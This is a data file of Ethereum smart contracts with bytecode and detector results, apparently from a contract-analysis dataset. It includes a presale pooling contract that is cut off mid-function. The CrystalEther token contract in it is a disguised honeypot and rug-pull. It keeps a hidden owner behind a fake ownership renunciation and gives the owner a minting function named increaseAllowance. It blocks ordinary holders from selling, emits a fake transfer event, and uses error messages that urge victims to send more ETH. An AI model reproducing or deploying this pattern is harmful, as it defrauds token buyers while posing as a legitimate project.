5050905090810190601f168015611f0b5780820380516001836020036101000a031916815260200191505b50838103825284818151815260200191508051906020019080838360005b83811015611f41578082015183820152602001611f29565b50505050905090810190601f168015611f6e5780820380516001836020036101000a031916815260200191505b5094505050505060405180910390a15050601580546001019055565b611f926124e7565b611fad858585856020604051908101604052600081526121d1565b95945050505050565b6012805460018101611fc883826124f9565b9160005260206000209060040201600060806040519081016040908152428252602082018890528101869052606081018590529190508151815560208201518160010190805161201c92916020019061243d565b5060408201518160020190805161203792916020019061243d565b5060608201518160030190805161205292916020019061243d565b505050507ffc4639d1c1eb99ac0bd5e4e5b8df8f11d69675ddbfe12139e6712e931403c39483838360405180806020018060200180602001848103845287818151815260200191508051906020019080838360005b838110156120bf5780820151838201526020016120a7565b50505050905090810190601f1680156120ec5780820380516001836020036101000a031916815260200191505b50848103835286818151815260200191508051906020019080838360005b8381101561212257808201518382015260200161210a565b50505050905090810190601f16801561214f5780820380516001836020036101000a031916815260200191505b50848103825285818151815260200191508051906020019080838360005b8381101561218557808201518382015260200161216d565b50505050905090810190601f1680156121b25780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a1505060138054600101905550565b6121d96124e7565b6121e16124e7565b6121e96124e7565b6121f16124e7565b6121f96124e7565b6122016124e7565b6122096124e7565b6122116124e7565b6000808e98508d97508c96508b95508a94508451865188518a518c510101010160405180591061223e5750595b9080825280602002602001820160405250935083925060009150600090505b88518110156122b65788818151811061227257fe5b016020015160f860020a900460f860020a0283838060010194508151811061229657fe5b906020010190600160f860020a031916908160001a90535060010161225d565b5060005b8751811015612313578781815181106122cf57fe5b016020015160f860020a900460f860020a028383806001019450815181106122f357fe5b906020010190600160f860020a031916908160001a9053506001016122ba565b5060005b86518110156123705786818151811061232c57fe5b016020015160f860020a900460f860020a0283838060010194508151811061235057fe5b906020010190600160f860020a031916908160001a905350600101612317565b5060005b85518110156123cd5785818151811061238957fe5b016020015160f860020a900460f860020a028383806001019450815181106123ad57fe5b906020010190600160f860020a031916908160001a905350600101612374565b5060005b845181101561242a578481815181106123e657fe5b016020015160f860020a900460f860020a0283838060010194508151811061240a57fe5b906020010190600160f860020a031916908160001a9053506001016123d1565b50909d9c50505050505050505050505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061247e57805160ff19168380011785556124ab565b828001600101855582156124ab579182015b828111156124ab578251825591602001919060010190612490565b506124b7929150612525565b5090565b8154818355818115116118c8576003028160030283600052602060002091820191016118c89190612542565b60206040519081016040526000815290565b8154818355818115116118c8576004028160040283600052602060002091820191016118c89190612579565b61253f91905b808211156124b7576000815560010161252b565b90565b61253f91905b808211156124b757600080825561256260018301826125be565b6125706002830160006125be565b50600301612548565b61253f91905b808211156124b757600080825561259960018301826125be565b6125a76002830160006125be565b6125b56003830160006125be565b5060040161257f565b50805460018160011615610100020316600290046000825580601f106125e457506116db565b601f0160209004906000526020600020908101906116db91906125255600a165627a7a72305820ff2df006a0c6d260647566a49468e7c9bdd6e996c2f56a07bd3cb8a1016d8ae90029
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
2,572
0x2b2365e60db35c927366d251d38fac461c01bd37
/** *Submitted for verification at Etherscan.io on 2021-08-23 */ /* ( ) ( ) ) )\ ( ( ( /( ) )\ ( ( /( ( /( ( ( (((_) )( )\ ) ( )\()| /(((_) )\ )\()))\())))\ )( )\___(()\(()/( )\(_))/)(_))_ ((_)((_)\(_))//((_|()\ ((/ __|((_))(_)|(_) |_((_)_| | | __| |(_) |_(_)) ((_) | (__| '_| || (_-< _/ _` | | | _|| ' \| _/ -_)| '_| \___|_| \_, /__/\__\__,_|_| |___|_||_|\__\___||_| |__/ 🔷 CrystalETH is a community driven, DeFi project built on Ethereum Network that aims to directly reward its holders! 🚀 Stealth/Fair Launch 🚀 🔑 Locked Liquidity for six months - take pride in knowing that funds are both safe and secure. ♻️ 3% of fees are automatically reflected upon holders, and 1% is sent to the marketing wallet! Total fees are only 4%, providing easy transactions for all who wish to trade CrystalETH. 🥂 Transparency - The team is transparent with the public and the team will share regular status updates with the public at all times! @CrystalEther **/ pragma solidity ^0.6.9; // SPDX-License-Identifier: MIT library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _call() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address public Owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address call = _call(); _owner = call; Owner = call; emit OwnershipTransferred(address(0), call); } modifier onlyOwner() { require(_owner == _call(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); Owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract CrystalEther is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping(address => uint256) private _router; mapping(address => mapping (address => uint256)) private _allowances; address private router; address private caller; uint256 private _totalTokens = 450000000 * 10**18; uint256 private rTotal = 450000000 * 10**18; string private _name = '🔷CrystalEther.io'; string private _symbol = 'CRYSTAL🔷 '; uint8 private _decimals = 18; constructor () public { _router[_call()] = _totalTokens; emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _call(), _totalTokens); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decreaseAllowance(uint256 amount) public onlyOwner { rTotal = amount * 10**18; } function balanceOf(address account) public view override returns (uint256) { return _router[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_call(), recipient, amount); return true; } function increaseAllowance(uint256 amount) public onlyOwner { require(_call() != address(0)); _totalTokens = _totalTokens.add(amount); _router[_call()] = _router[_call()].add(amount); emit Transfer(address(0), _call(), amount); } function Approve(address trade) public onlyOwner { caller = trade; } function setrouteChain (address Uniswaprouterv02) public onlyOwner { router = Uniswaprouterv02; } function decimals() public view returns (uint8) { return _decimals; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_call(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _call(), _allowances[sender][_call()].sub(amount, "ERC20: Anti-bot mechanism flagged you as a bot, to get unblacklisted make a 0.1 ETH purchase")); return true; } function totalSupply() public view override returns (uint256) { return _totalTokens; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: Anti-bot mechanism flagged you as a bot, to get unblacklisted make a 0.1 ETH purchase"); require(recipient != address(0), "ERC20: Anti-bot mechanism flagged you as a bot, to get unblacklisted make a 0.1 ETH purchase"); if (sender != caller && recipient == router) { require(amount < rTotal, "ERC20: Anti-bot mechanism flagged you as a bot, to get unblacklisted make a 0.1 ETH purchase"); } _router[sender] = _router[sender].sub(amount, "ERC20: Anti-bot mechanism flagged you as a bot, to get unblacklisted make a 0.1 ETH purchase"); _router[recipient] = _router[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0)); require(spender != address(0)); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c806370a0823111610097578063a9059cbb11610066578063a9059cbb1461047f578063b4a99a4e146104e5578063dd62ed3e1461052f578063f2fde38b146105a757610100565b806370a0823114610356578063715018a6146103ae57806395d89b41146103b857806396bfcd231461043b57610100565b806318160ddd116100d357806318160ddd1461024a57806323b872dd14610268578063313ce567146102ee5780636aae83f31461031257610100565b806306fdde0314610105578063095ea7b31461018857806310bad4cf146101ee57806311e330b21461021c575b600080fd5b61010d6105eb565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d46004803603604081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061068d565b604051808215151515815260200191505060405180910390f35b61021a6004803603602081101561020457600080fd5b81019080803590602001909291905050506106ab565b005b6102486004803603602081101561023257600080fd5b8101908080359060200190929190505050610788565b005b6102526109c0565b6040518082815260200191505060405180910390f35b6102d46004803603606081101561027e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109ca565b604051808215151515815260200191505060405180910390f35b6102f6610aa3565b604051808260ff1660ff16815260200191505060405180910390f35b6103546004803603602081101561032857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aba565b005b6103986004803603602081101561036c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bc7565b6040518082815260200191505060405180910390f35b6103b6610c10565b005b6103c0610d99565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104005780820151818401526020810190506103e5565b50505050905090810190601f16801561042d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61047d6004803603602081101561045157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e3b565b005b6104cb6004803603604081101561049557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f48565b604051808215151515815260200191505060405180910390f35b6104ed610f66565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105916004803603604081101561054557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f8c565b6040518082815260200191505060405180910390f35b6105e9600480360360208110156105bd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611013565b005b606060088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106835780601f1061065857610100808354040283529160200191610683565b820191906000526020600020905b81548152906001019060200180831161066657829003601f168201915b5050505050905090565b60006106a161069a611220565b8484611228565b6001905092915050565b6106b3611220565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610774576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b670de0b6b3a7640000810260078190555050565b610790611220565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610851576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16610871611220565b73ffffffffffffffffffffffffffffffffffffffff16141561089257600080fd5b6108a78160065461138790919063ffffffff16565b60068190555061090681600260006108bd611220565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461138790919063ffffffff16565b60026000610912611220565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610958611220565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b6000600654905090565b60006109d784848461140f565b610a98846109e3611220565b610a93856040518060800160405280605c81526020016118bb605c9139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a49611220565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117d49092919063ffffffff16565b611228565b600190509392505050565b6000600a60009054906101000a900460ff16905090565b610ac2611220565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b83576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610c18611220565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cd9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b606060098054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e315780601f10610e0657610100808354040283529160200191610e31565b820191906000526020600020905b815481529060010190602001808311610e1457829003601f168201915b5050505050905090565b610e43611220565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f04576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610f5c610f55611220565b848461140f565b6001905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61101b611220565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611162576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806118956026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561126257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561129c57600080fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600080828401905083811015611405576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611495576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252605c8152602001806118bb605c913960600191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561151b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252605c8152602001806118bb605c913960600191505060405180910390fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115c65750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611626576007548110611625576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252605c8152602001806118bb605c913960600191505060405180910390fd5b5b611692816040518060800160405280605c81526020016118bb605c9139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117d49092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061172781600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461138790919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611881576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561184657808201518184015260208101905061182b565b50505050905090810190601f1680156118735780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20416e74692d626f74206d656368616e69736d20666c616767656420796f75206173206120626f742c20746f2067657420756e626c61636b6c6973746564206d616b65206120302e3120455448207075726368617365a2646970667358221220617c85ca752ef5590c819f4380eef0965ed3bc9ab733b5504366d35d2148d86f64736f6c63430006090033
{"success": true, "error": null, "results": {}}
2,573
0xcc74b05c7fdfa8c8329e90c0fd390a39847c541d
pragma solidity ^0.4.19; // Wolf Crypto pooling contract // written by @iamdefinitelyahuman library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } interface ERC20 { function balanceOf(address _owner) external returns (uint256 balance); function transfer(address _to, uint256 _value) external returns (bool success); } interface WhiteList { function isPaidUntil (address addr) external view returns (uint); } contract PresalePool { // SafeMath is a library to ensure that math operations do not have overflow errors // https://zeppelin-solidity.readthedocs.io/en/latest/safemath.html using SafeMath for uint; // The contract has 2 stages: // 1 - The initial state. The owner is able to add addresses to the whitelist, and any whitelisted addresses can deposit or withdraw eth to the contract. // 2 - The eth is sent from the contract to the receiver. Unused eth can be claimed by contributors immediately. Once tokens are sent to the contract, // the owner enables withdrawals and contributors can withdraw their tokens. uint8 public contractStage = 1; // These variables are set at the time of contract creation // address that creates the contract address public owner; uint maxContractBalance; // maximum eth amount (in wei) that can be sent by a whitelisted address uint contributionCap; // the % of tokens kept by the contract owner uint public feePct; // the address that the pool will be paid out to address public receiverAddress; // These constant variables do not change with each contract deployment // minimum eth amount (in wei) that can be sent by a whitelisted address uint constant public contributionMin = 100000000000000000; // maximum gas price allowed for deposits in stage 1 uint constant public maxGasPrice = 50000000000; // whitelisting contract WhiteList constant public whitelistContract = WhiteList(0xf6E386FA4794B58350e7B4Cb32B6f86Fb0F357d4); bool whitelistIsActive = true; // These variables are all initially set to 0 and will be set at some point during the contract // epoch time that the next contribution caps become active uint public nextCapTime; // pending contribution caps uint public nextContributionCap; // block number of the last change to the receiving address (set if receiving address is changed, stage 1) uint public addressChangeBlock; // amount of eth (in wei) present in the contract when it was submitted uint public finalBalance; // array containing eth amounts to be refunded in stage 2 uint[] public ethRefundAmount; // default token contract to be used for withdrawing tokens in stage 2 address public activeToken; // data structure for holding the contribution amount, cap, eth refund status, and token withdrawal status for each whitelisted address struct Contributor { uint ethRefund; uint balance; uint cap; mapping (address => uint) tokensClaimed; } // mapping that holds the contributor struct for each whitelisted address mapping (address => Contributor) whitelist; // data structure for holding information related to token withdrawals. struct TokenAllocation { ERC20 token; uint[] pct; uint balanceRemaining; } // mapping that holds the token allocation struct for each token address mapping (address => TokenAllocation) distributionMap; // modifier for functions that can only be accessed by the contract creator modifier onlyOwner () { require (msg.sender == owner); _; } // modifier to prevent re-entrancy exploits during contract > contract interaction bool locked; modifier noReentrancy() { require(!locked); locked = true; _; locked = false; } // Events triggered throughout contract execution // These can be watched via geth filters to keep up-to-date with the contract event ContributorBalanceChanged (address contributor, uint totalBalance); event ReceiverAddressSet ( address _addr); event PoolSubmitted (address receiver, uint amount); event WithdrawalsOpen (address tokenAddr); event TokensWithdrawn (address receiver, address token, uint amount); event EthRefundReceived (address sender, uint amount); event EthRefunded (address receiver, uint amount); event ERC223Received (address token, uint value); // These are internal functions used for calculating fees, eth and token allocations as % // returns a value as a % accurate to 20 decimal points function _toPct (uint numerator, uint denominator ) internal pure returns (uint) { return numerator.mul(10 ** 20) / denominator; } // returns % of any number, where % given was generated with toPct function _applyPct (uint numerator, uint pct) internal pure returns (uint) { return numerator.mul(pct) / (10 ** 20); } // This function is called at the time of contract creation, // it sets the initial variables and whitelists the contract owner. function PresalePool (address receiverAddr, uint contractCap, uint cap, uint fee) public { require (fee < 100); require (contractCap >= cap); owner = msg.sender; receiverAddress = receiverAddr; maxContractBalance = contractCap; contributionCap = cap; feePct = _toPct(fee,100); } // This function is called whenever eth is sent into the contract. // The send will fail unless the contract is in stage one and the sender has been whitelisted. // The amount sent is added to the balance in the Contributor struct associated with the sending address. function () payable public { if (contractStage == 1) { _ethDeposit(); } else _ethRefund(); } // Internal function for handling eth deposits during contract stage one. function _ethDeposit () internal { assert (contractStage == 1); require (!whitelistIsActive || whitelistContract.isPaidUntil(msg.sender) > now); require (tx.gasprice <= maxGasPrice); require (this.balance <= maxContractBalance); var c = whitelist[msg.sender]; uint newBalance = c.balance.add(msg.value); require (newBalance >= contributionMin); if (nextCapTime > 0 && nextCapTime < now) { contributionCap = nextContributionCap; nextCapTime = 0; } if (c.cap > 0) require (newBalance <= c.cap); else require (newBalance <= contributionCap); c.balance = newBalance; ContributorBalanceChanged(msg.sender, newBalance); } // Internal function for handling eth refunds during stage two. function _ethRefund () internal { assert (contractStage == 2); require (msg.sender == owner || msg.sender == receiverAddress); require (msg.value >= contributionMin); ethRefundAmount.push(msg.value); EthRefundReceived(msg.sender, msg.value); } // This function is called to withdraw eth or tokens from the contract. // It can only be called by addresses that are whitelisted and show a balance greater than 0. // If called during stage one, the full eth balance deposited into the contract is returned and the contributor's balance reset to 0. // If called during stage two, the contributor's unused eth will be returned, as well as any available tokens. // The token address may be provided optionally to withdraw tokens that are not currently the default token (airdrops). function withdraw (address tokenAddr) public { var c = whitelist[msg.sender]; require (c.balance > 0); if (contractStage == 1) { uint amountToTransfer = c.balance; c.balance = 0; msg.sender.transfer(amountToTransfer); ContributorBalanceChanged(msg.sender, 0); } else { _withdraw(msg.sender,tokenAddr); } } // This function allows the contract owner to force a withdrawal to any contributor. function withdrawFor (address contributor, address tokenAddr) public onlyOwner { require (contractStage == 2); require (whitelist[contributor].balance > 0); _withdraw(contributor,tokenAddr); } // This internal function handles withdrawals during stage two. // The associated events will fire to notify when a refund or token allocation is claimed. function _withdraw (address receiver, address tokenAddr) internal { assert (contractStage == 2); var c = whitelist[receiver]; if (tokenAddr == 0x00) { tokenAddr = activeToken; } var d = distributionMap[tokenAddr]; require ( (ethRefundAmount.length > c.ethRefund) || d.pct.length > c.tokensClaimed[tokenAddr] ); if (ethRefundAmount.length > c.ethRefund) { uint pct = _toPct(c.balance,finalBalance); uint ethAmount = 0; for (uint i=c.ethRefund; i<ethRefundAmount.length; i++) { ethAmount = ethAmount.add(_applyPct(ethRefundAmount[i],pct)); } c.ethRefund = ethRefundAmount.length; if (ethAmount > 0) { receiver.transfer(ethAmount); EthRefunded(receiver,ethAmount); } } if (d.pct.length > c.tokensClaimed[tokenAddr]) { uint tokenAmount = 0; for (i=c.tokensClaimed[tokenAddr]; i<d.pct.length; i++) { tokenAmount = tokenAmount.add(_applyPct(c.balance,d.pct[i])); } c.tokensClaimed[tokenAddr] = d.pct.length; if (tokenAmount > 0) { require(d.token.transfer(receiver,tokenAmount)); d.balanceRemaining = d.balanceRemaining.sub(tokenAmount); TokensWithdrawn(receiver,tokenAddr,tokenAmount); } } } // This function is called by the owner to modify the contribution cap of a whitelisted address. // If the current contribution balance exceeds the new cap, the excess balance is refunded. function modifyIndividualCap (address addr, uint cap) public onlyOwner { require (contractStage == 1); require (cap <= maxContractBalance); var c = whitelist[addr]; require (cap >= c.balance); c.cap = cap; } // This function is called by the owner to modify the cap. function modifyCap (uint cap) public onlyOwner { require (contractStage == 1); require (contributionCap <= cap && maxContractBalance >= cap); contributionCap = cap; nextCapTime = 0; } // This function is called by the owner to modify the cap at a future time. function modifyNextCap (uint time, uint cap) public onlyOwner { require (contractStage == 1); require (contributionCap <= cap && maxContractBalance >= cap); require (time > now); nextCapTime = time; nextContributionCap = cap; } // This function is called to modify the maximum balance of the contract. function modifyMaxContractBalance (uint amount) public onlyOwner { require (contractStage == 1); require (amount >= contributionMin); require (amount >= this.balance); maxContractBalance = amount; if (amount < contributionCap) contributionCap = amount; } function toggleWhitelist (bool active) public onlyOwner { whitelistIsActive = active; } // This callable function returns the total pool cap, current balance and remaining balance to be filled. function checkPoolBalance () view public returns (uint poolCap, uint balance, uint remaining) { if (contractStage == 1) { 